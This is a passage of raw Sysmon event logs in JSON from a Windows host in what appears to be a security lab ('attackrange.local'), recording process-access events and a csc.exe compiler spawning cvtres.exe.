C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.603","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4164-5F2D-0000-00103AB80700}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5224,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.706\r\nProcessGuid: {90617006-416E-5F2D-0000-0010AC240800}\r\nProcessId: 3236\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nFileVersion: 12.00.52519.0 built by: VSWINSERVICING\r\nDescription: Microsoft® Resource File To COFF Object Conversion Utility\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: CVTRES.EXE\r\nCommandLine: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES5E01.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\CSCD0431CEB53DC4C339C83871DD24E01E.TMP\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF\r\nParentProcessGuid: {90617006-416E-5F2D-0000-001015210800}\r\nParentProcessId: 4644\r\nParentImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nParentCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\jgzl53od.cmdline\"","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.706","ProcessGuid":"{90617006-416E-5F2D-0000-0010AC240800}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","FileVersion":"12.00.52519.0 built by: VSWINSERVICING","Description":"Microsoft® Resource File To COFF Object Conversion Utility","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"CVTRES.EXE","CommandLine":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 \"/OUT:C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RES5E01.tmp\" \"c:\\Users\\Administrator\\AppData\\Local\\Temp\\CSCD0431CEB53DC4C339C83871DD24E01E.TMP\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=33BB8BE0B4F547324D93D5D2725CAC3D,SHA256=54315FD2B69C678EB7D8C145F683C15F41FA9F7B9ABF7BF978667DF4158F43C3,IMPHASH=9A65E39CA38ADDAA7D4BB704AD0223FF","ParentProcessGuid":"{90617006-416E-5F2D-0000-001015210800}","ParentProcessId":"4644","ParentImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","ParentCommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\jgzl53od.cmdline\"","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5225,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.697\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001015210800}\r\nSourceProcessId: 4644\r\nSourceThreadId: 4568\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-0010AC240800}\r\nTargetProcessId: 3236\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.697","SourceProcessGUID":"{90617006-416E-5F2D-0000-001015210800}","SourceProcessId":"4644","SourceThreadId":"4568","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-0010AC240800}","TargetProcessId":"3236","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+b181|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3d58|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3ed0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+3fa6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+274e|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+27a0|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorpehost.dll+28e4|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+7e38f|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+45d22|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+448ef|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+445e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+44303|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+18321|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+17b76|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+9e0d|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe+1edf02|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5226,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.697\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-416E-5F2D-0000-0010AC240800}\r\nTargetProcessId: 3236\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.697","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-416E-5F2D-0000-0010AC240800}","TargetProcessId":"3236","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\cvtres.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5227,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5228,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5229,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5230,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:30.697","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:30","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5231,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:30.697\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","C